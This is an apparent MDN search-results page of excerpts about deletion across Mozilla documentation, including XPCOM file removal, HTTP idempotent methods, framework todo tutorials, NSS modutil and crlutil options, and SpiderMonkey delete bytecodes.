eprecatedthis feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won't work in firefox 34 or later. use <keygen> or the future web crypto api instead. using the mozilla crypto object from javascript mozilla defines a special javascript object to allow web pages access to certain cryptographic-related services. these services are a balance between the functionality web pages ne...
...certnickname"; var cert = "mkjflakdjfiwjflaksufklasf ..."; var forcebackup = false; function loadcertificate() { window.crypto.importusercertificates(nickname, cert, forcebackup); return false; } document.forms[0].onsubmit = loadcertificate; </script> signing text domstring signtext(domstring stringtosign, domstring caoption /* ... ...
... parameters modulename name of the module. libraryfullpath the filename of the library prepended with its full path. ...
... parameters modulename name of the module. libraryfullpath the filename of the library prepended with its full path. ...
Space Manager Detailed Design - Archive of obsolete content
class declaration, taken from the source file as of 01.08.02 /** * class for dealing with bands of available space. the space manager * defines a coordinate space with an origin at (0, 0) that grows down * and to the right. */ class nsspacemanager { public: nsspacemanager(nsipresshell* apresshell, nsiframe* aframe); ~nsspacemanager(); void* operator new(size_t asize); void operator delete(void* aptr, size_t asize); static void shutdown(); /* * get the frame that's associated with the space manager. this frame * created the space manager, and the world coordinate space is * relative to this frame. * * you can use queryinterface() on this frame to get any additional * interfaces. */ nsiframe* getframe() const { return mframe; } /** * translate the ...
...nd rects struct bandlist : bandrect { bandlist(); // accessors prbool isempty() const {return pr_clist_is_empty((prcliststr*)this);} bandrect* head() const {return (bandrect*)pr_list_head(this);} bandrect* tail() const {return (bandrect*)pr_list_tail(this);} // operations void append(bandrect* abandrect) {pr_append_link(abandrect, this);} // remove and delete all the band rects in the list void clear(); }; frameinfo* getframeinfofor(nsiframe* aframe); frameinfo* createframeinfo(nsiframe* aframe, const nsrect& arect); void destroyframeinfo(frameinfo*); void clearframeinfo(); void clearbandrects(); bandrect* getnextband(const bandrect* abandrect) const; void divideband(bandrect* aband, nscoord abotto...
...spacemanager&); // no implementation }; public api life cycle the constructor requires a presentation shell, used for arena allocations mostly, and a frame that this space manager is rooted on. the coordinate space of this space manager is relative to the frame passed in to the constructor. nsspacemanager(nsipresshell* apresshell, nsiframe* aframe); ~nsspacemanager(); operators 'new' and 'delete' are overridden to support a recycler. space manager instances come and go pretty frequently, and this recycler prevents excessive heap allocations and the performance penalties associated with it. the #define ns_space_manager_cache_size is used to control the number of space manager instances that can be present in the recycler, currently 4. if more than ns_space_manager_cache_size are allocated...
... and this recycler prevents excessive heap allocations and the performance penalties associated with it. the #define ns_space_manager_cache_size is used to control the number of space manager instances that can be present in the recycler, currently 4. if more than ns_space_manager_cache_size are allocated at a time,then standard allocation is used. void* operator new(size_t asize); void operator delete(void* aptr, size_t asize); a static method is used to shutdown the space manager recycling. this method deletes all of the space mangers in the recycler,and prevents further recycling. it is meant to be called only when the layout module is being terminated. static void shutdown(); origin / coordinate space translation /** * translate the current origin by the specified (dx, dy). this * cr...
XPCOM Interfaces - Archive of obsolete content
ies and methods of the nsilocalfile interface. initwithpath this method is used to initialize the path and filename for the nsilocalfile. the first parameter should be the file path, such as '/usr/local/mozilla'. leafname the filename without the directory part. filesize the size of the file. isdirectory() returns true if the nsilocalfile represents a directory. remove(recursive) deletes a file. if the recursive parameter is true, a directory and all of its files and subdirectories will also be deleted. copyto(directory,newname) copies a file to another directory, optionally renaming the file. the directory should be a nsilocalfile holding the directory to copy the file to. moveto(directory,newname) moves a file to another directory, or renames a file. the directory should...
...es and subdirectories will also be deleted. copyto(directory,newname) copies a file to another directory, optionally renaming the file. the directory should be a nsilocalfile holding the directory to copy the file to. moveto(directory,newname) moves a file to another directory, or renames a file. the directory should be a nsilocalfile holding the directory to move the file to. in order to delete a file we first need to assign a file to the nsilocalfile. we can call the method initwithpath() to indicate which file we mean. just assign the path of the file to this property. next, we call the remove() function. it takes one parameter which is whether to delete recursively. the code below demonstrates these two steps: var afile = components.classes["@mozilla.org/file/local;1"].createinstanc...
... in the functions table above, you will see two functions copyto() and moveto(). these two functions can be used to copy files and move files respectively. ...
... in the functions table above, you will see two functions copyto() and moveto(). these two functions can be used to copy files and move files respectively. ...
calICalendarViewController - Archive of obsolete content
implementing a calicalendarviewcontroller allows for these actions to be performed in a manner consistent with the rest of the application in which the calicalendarview is included. calendar/base/public/calicalendarviewcontroller.idlscriptable please add a summary to this article. ...
...in many cases, acalendar will be the defaultcalendar of the displaycalen...
...her both be specified, or neither. if they are both specified, aoccurrence should be modified 'silently', that is, without a more detailed dialog appearing. otherwise, a dialog should be display allowing the user to modify the fields. implementations of calicalendarviewcontroller should be careful to provide clearly defined behavior to the user regarding the modification of recurring caliitems. deleteoccurrence void deleteoccurrence (in caliitemoccurrence aoccurrence); the deleteoccurrence method is called when by the calicalendarview when caliitem should be deleted. implementations of calicalendarviewcontroller should be careful to provide clearly defined behavior to the user regarding the deleting of recurring caliitems, in the case where aoccurrence is a single occurrence of a recurring...
...he dialog if (anewstarttime && anewendtime && !anewstarttime.isdate && !anewendtime.isdate) { var instance = aoccurrence.clone(); instance.startdate = anewstarttime; instance.enddate = anewendtime; instance.calendar.modifyitem(instance, aoccurrence, null); } else { modifyeventwithdialog(aoccurrence); } }, deleteoccurrence: function (aoccurrence) { if (aoccurrence.parentitem != aoccurrence) { var event = aoccurrence.parentitem.clone(); event.recurrenceinfo.removeoccurrenceat(aoccurrence.recurrenceid); event.calendar.modifyitem(event, aoccurrence, null); } else { aoccurrence.calendar.deleteitem(aoccurrence, null); } } }; histor...
Idempotent - MDN Web Docs Glossary: Definitions of Web-related terms
an http method is idempotent if an identical request can be made once or several times in a row with the same effect while leaving the server in the same state. in other words, an idempotent method should not have any side-effects (except for keeping statistics). implemented correctly, the get, head, put, and delete method are idempotent, but not the post method. all safe methods are also idempotent. ...
...ate. in other words, an idempotent method should not have any side-effects (except for keeping statistics). implemented correctly, the get, head, put, and delete method are idempotent, but not the post method. all safe methods are also idempotent. to be idempotent, only the actual back-end state of the server is considered, the status code returned by each request may differ: the first call of a delete will likely return a 200, while successive ones will likely return a 404. another implication of delete being idempotent is that developers should not implement restful apis with a delete last entry functionality using the delete method. note that the idempotence of a method is not guaranteed by the server and some applications may incorrectly break the idempotence constraint. get /pagex http/1...
...straint. get /pagex http/1.1 is idempotent. called several times in a row, the client gets the same results: get /pagex http/1.1 get /pagex http/1.1 get /pagex http/1.1 get /pagex http/1.1 post /add_row http/1.1 is not idempotent; if it is called several times, it adds several rows: post /add_row http/1.1 post /add_row http/1.1 -> adds a 2nd row post /add_row http/1.1 -> adds a 3rd row delete /idx/delete http/1.1 is idempotent, even if the returned status code may change between requests: delete /idx/delete http/1.1 -> returns 200 if idx exists delete /idx/delete http/1.1 -> returns 404 as it just got deleted delete /idx/delete http/1.1 -> returns 404 learn more general knowledge definition of idempotent in the http specification. technical knowledge description of co...
... if the returned status code may change between requests: delete /idx/delete http/1.1 -> returns 200 if idx exists delete /idx/delete http/1.1 -> returns 404 as it just got deleted delete /idx/delete http/1.1 -> returns 404 learn more general knowledge definition of idempotent in the http specification. ...
Safe - MDN Web Docs Glossary: Definitions of Web-related terms
even if safe methods have a read-only semantic, servers can alter their state: e.g. they can log or keep statistics. ...
...ly, the webserver itself, being apache, nginx or iis, can't enforce it by itself. in particular, an application should not allow get requests to alter its state. ...
...erver itself, being apache, nginx or iis, can't enforce it by itself. in particular, an application should not allow get requests to alter its state. ...
.../pagex.html http/1.1 a call to a non-safe method, that may change the state of the server: post /pagex.html http/1.1 a call to an idempotent but non-safe method: delete /idx/delete http/1.1 learn more general knowledge definition of safe in the http specification. ...
Index - Learn web development
y into components, end render them efficiently. now we'll go on to look at how we handle events in react, and start adding some interactivity. 275 componentizing our svelte app beginner, components, frameworks, javascript, learn, svelte, client-side, conditional rendering, passing data now we have all of our app's required functionality in place. we can display, add, edit and delete todos, mark them as completed, and filter by status. 276 creating our first vue component beginner, components, frameworks, javascript, learn, client-side, props, state, vue and that will do for this article. at this point we have a nicely-working todoitem component that can be passed a label to display, will store its checked state, and will be rendered with a unique id each...
...ne, and also share some of the resources that you should go on to, to continue your svelte learning journey. 278 dynamic behavior in svelte: working with variables and props beginner, frameworks, javascript, learn, svelte, variables, client-side, props that will do for now! in this article we already implemented most of our desired functionality. our app can display, add, and delete todos, toggle their completed status, show how many of them are completed and apply filters. 279 ember interactivity: footer functionality, conditional rendering beginner, ember, frameworks, javascript, learn, client-side, conditional rendering that's enough for now. at this point, not only can we mark todos as complete, but we can clear them as well. now the only thing left ...
...an improve usability and reduce confusion for both keyboard-only and screenreader users. 291 react interactivity: events and state beginner, frameworks, javascript, learn, react, client-side, events, interactivity, state that's enough for one article. here we've given you the lowdown on how react deals with events and handles state, and implemented functionality to add tasks, delete tasks, and toggle tasks as completed. we are nearly there. in the next article we'll implement functionality to edit existing tasks and filter the list of tasks between all, completed, and incomplete tasks. we'll look at conditional ui rendering along the way. 292 react resources beginner, javascript, learn, react, client-side, framework, resources our final article provides ...
... the next article we will look at conditional rendering, and how we can use it to show an edit form when we want to edit existing todo items. 299 vue conditional rendering: editing existing todos beginner, frameworks, javascript, learn, client-side, conditional rendering, v-else, v-if, vue this article has been fairly intense, and we covered a lot here. we've now got edit and delete functionality in our app, which is fairly exciting. we are nearing the end of our vue series now. the last bit of functionality to look at is focus management, or put another way, how we can improve our app's keyboard accessibility. 300 vue resources beginner, javascript, learn now we'll round off our study of vue by giving you a list of resources that you can use to go furth...
Getting started with React - Learn web development
ur code. a few other html attributes are written differently in jsx than they are in html too, for the same kind of reason. we'll cover them as we encounter them. take a moment to change the <p> tag on line 6 so that it reads "hello, world!", then save your file. you'll notice that this change is immediately rendered in the development server running at http://localhost:3000 in your browser. now delete the <a> tag and save; the "learn react" link will be gone. your app component should now look like this: function app() { return ( <div classname="app"> <header classname="app-header"> <img src={logo} classname="app-logo" alt="logo" /> <p> hello, world! </p> </header> </div> ); } export statements at the very bottom of the app.js file,...
...ct application with the app component as the root, or first component. note: in jsx, react components and html elements must have closing slashes. writing just <app> or just <img> will cause an error. service workers are interesting pieces of code that help application performance and allow features of your web applications to work offline, but they’re not in scope for this article. you can delete line 5, as well as lines 9 through 12. your final index.js file should look like this: import react from 'react'; import reactdom from 'react-dom'; import './index.css'; import app from './app'; reactdom.render(<app />, document.getelementbyid('root')); variables and props next, we'll use a few of our javascript skills to get a bit more comfortable editing components and working with data in...
...just like any other function parameter, you can put props in a console.log() to print it to your browser's console. go ahead and do that before the return statement, like so: function app(props) { console.log(props); return ( // return statement ); } save your file and check your browser's javascript console. you should see something like this logged: object { subj...
...rresponds to the subject prop we added to our <app /> component call, and the string clarice corresponds to its value. component props in react are always collected into objects in this fashion. now that subject is one of our props, let's utilize it in app.js. change the subject constant so that, instead of defining it as the string react, you are reading the value of props.subject. you can also delete your console.log() if you want. function app(props) { const subject = props.subject; return ( // return statement ); } when you save, the app should now greet you with "hello, clarice!". if you return to index.js, edit the value of subject, and save, your text will change. summary this brings us to the end of our initial look at react, including how to install it locally, creating a...
Starting our Svelte Todo list app - Learn web development
in svelte, we can start building our example app: a todo list. in this article we will first have a look at the desired functionality of our app, then we'll create a todos.svelte component and put static markup and styles in place, leaving everything ready to start developing our to-do list app features, which we'll go on to in subsequent articles. we want our users to be able to browse, add and delete tasks, and also to mark them as complete. this will be the basic functionality that we'll be developing in this tutorial series, plus we'll look at some more advanced concepts along the way too. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. you'll need a ...
...do-2" checked/> <label for="todo-2" class="todo-label"> create your first component </label> </div> <div class="btn-group"> <button type="button" class="btn"> edit <span class="visually-hidden">create your first component</span> </button> <button type="button" class="btn btn__danger"> delete <span class="visually-hidden">create your first component</span> </button> </div> </div> </li> <!-- todo-3 --> <li class="todo"> <div class="stack-small"> <div class="c-cb"> <input type="checkbox" id="todo-3" /> <label for="todo-3" class="todo-label"> complete the rest of the tutorial </label>...
... /> <label for="todo-3" class="todo-label"> complete the rest of the tutorial </label> </div> <div class="btn-group"> <button type="button" class="btn"> edit <span class="visually-hidden">complete the rest of the tutorial</span> </button> <button type="button" class="btn btn__danger"> delete <span class="visually-hidden">complete the rest of the tutorial</span> </button> </div> </div> </li> </ul> <hr /> <!-- moreactions --> <div class="btn-group"> <button type="button" class="btn btn__primary">check all</button> <button type="button" class="btn btn__primary">remove completed</button> </div> </div> check the rendered out ag...
...ring new tasks. three buttons to filter by task status. a label showing the total number of tasks and the completed tasks. an unordered list, which holds a list item for each task. when the task is being edited, the list item has an input and two button to cancel or save modifications. if the task is not being edited, there's a checkbox to set the completed status, and two buttons to edit or delete the task. finally there are two buttons to check/uncheck all task and to remove completed tasks. in subsequent articles we'll get all these features working, and more besides. accessibility features of the todo list you may notice some unusual attributes here. for example: <button class="btn toggle-btn" aria-pressed="true"> <span class="visually-hidden">show</span> <span>all</span> <s...
Getting started with Vue - Learn web development
ttp://localhost:8080 as stated above, but may vary based on your setup), you should see your app. right now, it should contain a welcome message, a link to the vue documentation, links to the plugins you added when you initialized the app with your cli, and some other useful links to the vue community and ecosystem. ...
...ry based on your setup), you should see your app. right now, it should contain a welcome message, a link to the vue documentation, links to the plugins you added when you initialized the app with your cli, and some other useful links to the vue community and ecosystem. making a couple of changes let's make our first change to the app — we’ll delete the vue logo. ...
...ouple of changes let's make our first change to the app — we’ll delete the vue logo. open the app.vue file, and delete the <img> element from the template section: <img alt="vue logo" src="./assets/logo.png"> if your server is still running, you should see the logo removed from the rendered site almost instantly. let’s also remove the helloworld component from our template. first of all delete this line: <helloworld msg="welcome to your vue.js app"/> if you save your app.vue file now, the rendered app will throw an error because we’ve registered the component but are not using it. ...
... let’s add a new <h1> inside <div id="app">. ...
Focus management with Vue refs - Learn web development
ause the component has already been added to the dom when mounted() is called. mounted() { const labelinputref = this.$refs.labelinput; labelinputref.focus(); } now when you activate the "edit" button with your keyboard, focus should immediately be moved to the edit <input>. handling focus when deleting to-do items there's one more place we need to consider focus management: when a user deletes a to-do. when clicking the "edit" button, it makes sense to move focus to the edit name text box, and back to the "edit" button when canceling or saving from the edit screen. however, unlike with the edit form, we don’t have a clear location for focus to move to when an element is deleted. we also need a way to provide assistive technology users with information that confirms that an element ...
...to-do. when clicking the "edit" button, it makes sense to move focus to the edit name text box, and back to the "edit" button when canceling or saving from the edit screen. however, unlike with the edit form, we don’t have a clear location for focus to move to when an element is deleted. we also need a way to provide assistive technology users with information that confirms that an element was deleted. we're already tracking the number of elements in our list heading — the <h2> in app.vue — and it's associated with our list of to-do items. this makes it a reasonable place to move focus to when we delete a node. first, we need to add a ref to our list heading. we also need to add a tabindex="-1" to it — this makes the element programmatically focusable (i.e. it can be focused via javas...
...dex > = 0, as it can cause problems for users since it can make the dom flow and the tab-order mismatch, and/or add non-interactive elements to the tab order. this can be confusing to users, especially those using screen readers and other assistive technology. now that we have a ref and have let browsers know that we can programmatically focus the <h2>, we need to set focus on it. ...
...those using screen readers and other assistive technology. now that we have a ref and have let browsers know that we can programmatically focus the <h2>, we need to set focus on it. at the end of deletetodo(), use the listsummary ref to set focus on the <h2>. since the <h2> is always rendered in the app, you do not need to worry about using $nexttick of lifecycle methods to handle focusing it. deletetodo(todoid) { const itemindex = this.todoitems.findindex(item => item.id === todoid); this.todoitems.splice(itemindex, 1); this.$refs.listsummary.focus(); } now, when you delete an item from your list, focus should be moved up to the list heading. this should provide a reasonable focus experience for all of our users. summary so that's it for focus management, and for our app! con...
Eclipse CDT
front window", "-e", "end tell"]) todo: add instructions for linux and windows. is there a mercurial plugin for eclipse? there is mercurialeclipse, but probably most mozilla developers will just prefer to use the command line. if you think we need our own documentation on mercurialeclipse, please consider adding a separate page for that tool since this page is already pretty long. ...
...that's it; you can now create a new eclipse workspace and project for your tree from scratch. ...
...f you followed the recommendation above to create one workspace containing only one project for each mozilla tree, then this is easy. (if you didn't, and you have projects for more than one source tree entangled in a workspace directory, well, you're on your own.) simply delete the .project and .cproject files and the .settings directory (if it exists) from the root of your mozilla tree, and then delete the workspace directory corresponding to your tree. that's it; you can now create a new eclipse workspace and project for your tree from scratch. isn't there a better method of build option discovery? yes, but eclipse doesn't currently support it. instead of processing build console output, eclipse could use something like ld_preload to load its own little library into all the processes that ar...
... if you get the message "resource is out of sync with the file system", then you didn't set the "refresh" options above in the initial workspace preferences section. either set those, or else refresh the project (or an individual directory/file) manually using the refresh item from the context menu in the project explorer tab. old everything that follows is old content that should maybe just be deleted now? gdb timeouts i don't think this old comment from 2007/2008 is an issue anymore. out of the box, you may/will get gdb connection timeouts. this is because eclipse is trying to push every subfolder in gdb's environment. the easiest way to resolve this issue is to remove any source entry from the debug configuration (run->open debug dialog...) in the source tab. doing so will, unfortunately...
HTML parser threading
loop into nshtml5streamparser. the runnables hold mtokenizermutex for the entire duration of the dodataavailable or dostoprequest call. mtokenizermutex protects most data structures on nshtml5streamparser from concurrent access. the runnables need to keep the nshtml5streamparser instance alive, so they have to addref it. however, if they released on the parser thread, nshtml5streamparser could be deleted from the parser thread, which would lead to all sorts of badness, because nshtml5streamparser has fields that hold objects that aren't safe to release except from the main thread. the runnables use nshtml5refptr<nshtml5streamparser>. nshtml5refptr sends runnables back to the main thread to call release on nshtml5streamparser on the main thread. normal (non-speculative) parsing initially, dodataa...
...ead refcounting issues.) memory management when crossing the thread boundary the tree ops hold various heap-allocated objects that end up crossing the thread boundary. these objects are memory managed as follows: attribute holders (nshtml5htmlattributes objects) are allocated using new by the tokenizer. the tree builder either transfers an attribute holder to a tree op whose destructor explicitly deletes the attribute holder or if the tree builder ends up ignoring an attribute holder, the tree builder deletes the attribute holder explicitly. attribute values, public identifiers (in doctype) and system identifiers (in doctype) are heap-allocated nsstring objects (i.e. pointed to by nsstring*!). attribute values nsstrings are deleted by the attribute holder when it gets deleted. public identifiers...
...the backing nsstringbuffers are thread-safely refcounted appropriately when the nsstring goes away. ...
...copies of the content handle for the node exist inside the parser. (this indeed means that removing parser-created nodes from the dom during parsing doesn't release memory until the parser stops parsing, which is, in theory, a problem for long polling using html in an iframe e.g. for a chat app.) some tree ops hold char or prunichar arrays. those arrays are allocated when creating the tree op and delete[]d by the destructor of nshtml5treeoperation. hence, data gets copied to and from these arrays. executing tree ops when the executor flushing runnable fires on the main thread, it calls nshtml5treeopexecutor::runflushloop(). this method returns immediately if another invocation of it is already on the call stack (nested event loop case). the method then enters a loop that has a bunch of return co...
Localization content best practices
from the menu in basque is menutik and to the printers is inprimagailuei. implication: using placeholders for something like 'the text' or 'the file' works well in english but is likely to cause severe headaches for localizers if the placeholders cannot be inflected. use proper plural forms firefox supports proper plural forms. ...
...n basque is menutik and to the printers is inprimagailuei. implication: using placeholders for something like 'the text' or 'the file' works well in english but is likely to cause severe headaches for localizers if the placeholders cannot be inflected. use proper plural forms firefox supports proper plural forms. ...
...nutik and to the printers is inprimagailuei. implication: using placeholders for something like 'the text' or 'the file' works well in english but is likely to cause severe headaches for localizers if the placeholders cannot be inflected. use proper plural forms firefox supports proper plural forms. ...
...printers is inprimagailuei. implication: using placeholders for something like 'the text' or 'the file' works well in english but is likely to cause severe headaches for localizers if the placeholders cannot be inflected. use proper plural forms firefox supports proper plural forms. as a native english speaker, you might find it natural to use delete-cookie = delete cookie delete-cookies = delete cookies in firefox this should be # localization note (delete-cookies): semi-colon list of plural forms. # see: http://developer.mozilla.org/en/docs/localization_and_plurals # #1 is the number of cookies to delete # example: delete-cookies = delete #1 cookie;delete #1 cookies important: always include the localization note with this format if you use a plural form in firefox. this comment is...
NSS tools : modutil
he security module database. synopsis modutil [options] [[arguments]] status this documentation is still work in progress. please contribute to the initial review in mozilla nss bug 836477[1] description the security module database tool, modutil, is a command-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens. modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations. this tool can also create certificate, key, and module security database files. the tasks associated with security module database management are part of a process that typi...
...eate create new certificate, key, and module databases. use the -dbdir directory argument to specify a directory. if any of these databases already exist in a specified directory, modutil returns an error message. -default modulename specify the security mechanisms for which the named module will be a default provider. the security mechanisms are specified with the -mechanisms argument. -delete modulename delete the named module. the default nss pkcs #11 module cannot be deleted. -disable modulename disable all slots on the named module. use the -slot argument to disable a specific slot. the internal nss pkcs #11 module cannot be disabled. -enable modulename enable all slots on the named module. use the -slot argument to enable a specific slot. -fips [true | false] enable (tr...
...llation completed successfully adding module spec each module has information stored in the security database about its configuration and parameters. these can be added or edited using the -rawadd command. for the current settings or to see the format of the module spec in the database, use the -rawlist option. modutil -rawadd modulespec deleting a module a specific pkcs #11 module can be deleted from the secmod.db database: modutil -delete modulename -dbdir [sql:]directory displaying module information the secmod.db database contains information about the pkcs #11 modules that are available to an application or server to use. the list of all modules, information about specific modules, and database configuration specs for modules can all be viewed. to simply get a list of modules...
...stalled; for example, it may be the server's root directory. the %temp% directory is created at the beginning of the installation and destroyed at the end. the purpose of %temp% is to hold executable files (such as setup programs) or files that are used by these programs. files destined for the temporary directory are guaranteed to be in place before any executable file is run; they are not deleted until all executable files have finished. absolutepath specifies the destination directory of the file as an absolute path. executable specifies that the file is to be executed during the course of the installation. typically, this string is used for a setup program provided by a module vendor, such as a self-extracting setup executable. more than one file can be specified as executable, i...
NSS Tools crlutil
the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or revocation. ...
... the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or revocation. ...
...ecify an action and are uppercase. option arguments modify an action and are lowercase. certificate revocation list management tool command options and their arguments are defined as follows: options -g create new certificate revocation list(crl). -d delete certificate revocation list from cert database. -i import a crl to the cert database -e erase all crls of specified type from the cert database -l list existing crl located in cert database file. ...
... modifying crl in a database this example modifies a new crl and importing it in to a database in the specified directory: crluti...
NSS Tools modutil
using the security module database (modutil) newsgroup: mozilla.dev.tech.crypto the security module database tool is a command-line utility for managing pkcs #11 module information within secmod.db files or within hardware tokens. you can use the tool to add and delete pkcs #11 modules, change passwords, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations. this tool can also create key3.db, cert8.db, and secmod.db security database files. the tasks associated with security module database management are part of a process that typically also involves managing key databases (key3.db files) and certificate databases (cert8.db files). the key, certificate, and pkcs #11 module ma...
...cript needed to perform an installation through a server or with the security module database tool (that is, in environments without javascript support). for general installation instructions and to install a module in environments where javascript support is available (as in netscape communicator), see the document using the jar installation manager to install a pkcs #11 cryptographic module. -delete modulename delete the named module. note that you cannot delete the netscape communicator internal pkcs #11 module. -changepw tokenname change the password on the named token. if the token has not been initialized, this option initializes the password. use this option with the -pwfile and -newpwfile arguments. in this context, the term "password" is equivalent to a personal identification numbe...
...ling ciphers, and setting default provider status for various security mechanisms: -add modulename -libfile library-file [-ciphers cipher-enable-list] [-mechanisms mechanism-list] adding a pkcs #11 module from an existing jar file: -jar jar-file -installdir root-installation-directory [-tempdir temporary-directory] deleting a specific pkcs #11 module from a security module database: -delete modulename initializing or changing a token's password: -changepw tokenname [-pwfile old-password-file] [-newpwfile new-password-file] setting the default provider status of various security mechanisms in an existing pkcs #11 module: -default modulename -mechanisms mechanism-list clearing the default provider status of various security mechanisms in an existing pkcs #11 module: -u...
...uch as setup programs) or files that are used by these programs. for example, a windows installation might consist of a setup.exe installation program, a help file, and a .cab file containing compressed information. all these files could be installed in the temporary directory. files destined for the temporary directory are guaranteed to be in place before any executable file is run; they are not deleted until all executable files have finished. absolutepath specifies the destination directory of the file as an absolute path. if both relativepath and absolutepath are specified, the installer attempts to use the relative path; if it is unable to determine a relative path, it uses the absolute path. executable specifies that the file is to be executed during the course of the installation.
NSS tools : modutil
Mozilla › Projects › NSS › tools › modutil
name modutil — manage pkcs #11 module information within the security module database. synopsis modutil [options] arguments description the security module database tool, modutil, is a command-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens. modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations. this tool can also create certificate, key, and module security database files. the tasks associated with security module database management are part of a process that typically also involves managing ...
...bdir directory argument to specify a directory. if any of these databases already exist in a specified directory, modutil returns an error message. -default modulename specify the security mechanisms for which the named module will be a default provider. the security mechanisms are specified with the -mechanisms argument. -delete modulename delete the named module. the default nss pkcs #11 module cannot be deleted. -disable modulename disable all slots on the named module. use the -slot argument to disable a specific slot. -enable modulename enable all slots on the named module. use the -slot argument to enable a specific slot. -fips [true | ...
...uccessfully adding module spec each module has information stored in the security database about its configuration and parameters. these can be added or edited using the -rawadd command. for the current settings or to see the format of the module spec in the database, use the -rawlist option. modutil -rawadd modulespec deleting a module a specific pkcs #11 module can be deleted from the secmod.db database: modutil -delete modulename -dbdir [sql:]directory displaying module information the secmod.db database contains information about the pkcs #11 modules that are available to an application or server to use. the list of all modules, information about specific modules, and database configuration specs for modules can all be viewed. to simply get a...
... example, it may be the server's root directory. the %temp% directory is created at the beginning of the installation and destroyed at the end. the purpose of %temp% is to hold executable files (such as setup programs) or files that are used by these programs. files destined for the temporary directory are guaranteed to be in place before any executable file is run; they are not deleted until all executable files have finished. absolutepath specifies the destination directory of the file as an absolute path. executable specifies that the file is to be executed during the course of the installation. typically, this string is used for a setup program provided by a module vendor, such as a self-extracting setup executable. more than one file can be specified as...
Bytecode Descriptions
at: jof_elem, jof_propset, jof_checksloppy, jof_ic strictsetelem stack: obj, key, val ⇒ val like jsop::setelem, but for strict mode code. throw a typeerror if obj[key] exists but is non-writable, if it's an accessor property with no setter, or if obj is a primitive value. format: jof_elem, jof_propset, jof_checkstrict, jof_ic delprop operands: (uint32_t nameindex) stack: obj ⇒ succeeded delete a property from obj. push true on success, false if the property existed but could not be deleted. this implements delete obj.name in non-strict code. throws if obj is null or undefined. can call proxy traps. implements: delete obj.propname step 5 in non-strict code. format: jof_atom, jof_prop, jof_checksloppy strictdelprop operands: (uint32_t nameindex) stack: obj ⇒ succeeded like jsop::del...
...bj is null or undefined. can call proxy traps. implements: delete obj.propname step 5 in non-strict code. format: jof_atom, jof_prop, jof_checksloppy strictdelprop operands: (uint32_t nameindex) stack: obj ⇒ succeeded like jsop::delprop, but for strict mode code. push true on success, else throw a typeerror. format: jof_atom, jof_prop, jof_checkstrict delelem stack: obj, key ⇒ succeeded delete the property obj[key] and push true on success, false if the property existed but could not be deleted. this throws if obj is null or undefined. can call proxy traps. implements: delete obj[key] step 5 in non-strict code. format: jof_elem, jof_checksloppy strictdelelem stack: obj, key ⇒ succeeded like jsop::delelem, but for strict mode code. pushtrue` on success, else throw a typeerror. form...
... block. otherwise it starts unwinding the stack. implements: throwstatement evaluation, step 3. this is also used in for-of loops. if the body of the loop throws an exception, we catch it, close the iterator, then use jsop::throw to rethrow. throwmsg operands: (throwmsgkind msgnumber) create and throw an error object. sometimes we know at emit time that an operation always throws. for example, delete super.prop; is allowed in methods, but always throws a referenceerror. msgnumber must be one of the error codes listed in js/src/js.msg; it determines the .message and [[prototype]] of the new error object. the number of arguments in the error message must be 0. throwsetconst operands: (uint32_t nameindex) throws a runtime typeerror for invalid assignment to a const binding. format: jof_atom, ...
...uninitialized constant binding. format: jof_atom checkglobalorevaldecl check for conflicting bindings before jsop::def{var,let,const,fun} in global or sloppy eval scripts. implements: globaldeclarationinstantiation steps 5, 6, 10 and 12, and evaldeclarationinstantiation steps 5 and 8. delname operands: (uint32_t nameindex) stack: ⇒ succeeded look up a variable on the environment chain and delete it. push true on success (if a binding was deleted, or if no such binding existed in the first place), false otherwise (most kinds of bindings can't be deleted). implements: delete identifier, which is a syntaxerror in strict mode code. format: jof_atom, jof_name, jof_checksloppy function environment setup arguments stack: ⇒ arguments create and push the arguments object for the current fu...
JSClass
a jsclass describes a class of javascript objects. a c/c++ program can use a jsclass with the js_initclass and js_newobject apis to create objects that have custom methods and properties implemented in c/c++. ...
...r * class name flags uint32_t class flags. this field is the bitwise or of one or more of the jsclass_* constants described in jsclass.flags. addproperty jspropertyop a hook called just after adding a new property. may modify the new property value. use null or js_propertystub (spidermonkey 31 or older) for default behavior. delproperty jsdeletepropertyop a hook called when deleting a property. may veto. use null or js_deletepropertystub (spidermonkey 31 or older) for default behavior. getproperty jspropertyop a hook called when getting a property. this is the default getter for the class. use null or js_propertystub (spidermonkey 31 or older) for default behavior. setproperty jss...
...jsnative constructor function that allocates this private data and stores it in the new object using js_setprivate. implement a jsclass.finalize callback that frees the private data. each native getter, setter, or method can access the private data using js_getinstanceprivate. when initializing the class, pass the jsnative constructor function to js_initclass. ...
...s, pass the jsnative constructor function to js_initclass. (this example uses the c++ new and delete keywords, but the application can allocate the memory for private data however it likes. ...
JS_ClearScope
at any time. try to avoid using it. remove all properties associated with an object. syntax void js_clearscope(jscontext *cx, jsobject *obj); name type description cx jscontext * the context in which to clear the object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
... the caller must be in a request on this jscontext. obj jsobject * object from which to delete all properties. description js_clearscope removes all of obj's own properties, except the special __proto__ and __parent__ properties, in a single operation. properties belonging to objects on obj's prototype chain are not affected. to remove a single property from an object, use js_deleteproperty. to remove a single array object element, use js_deleteelement. ...
...which to delete all properties. description js_clearscope removes all of obj's own properties, except the special __proto__ and __parent__ properties, in a single operation. properties belonging to objects on obj's prototype chain are not affected. to remove a single property from an object, use js_deleteproperty. to remove a single array object element, use js_deleteelement. ...
...properties. description js_clearscope removes all of obj's own properties, except the special __proto__ and __parent__ properties, in a single operation. ...
XPCOM array guide
Mozilla › Tech › XPCOM › Guide › Arrays
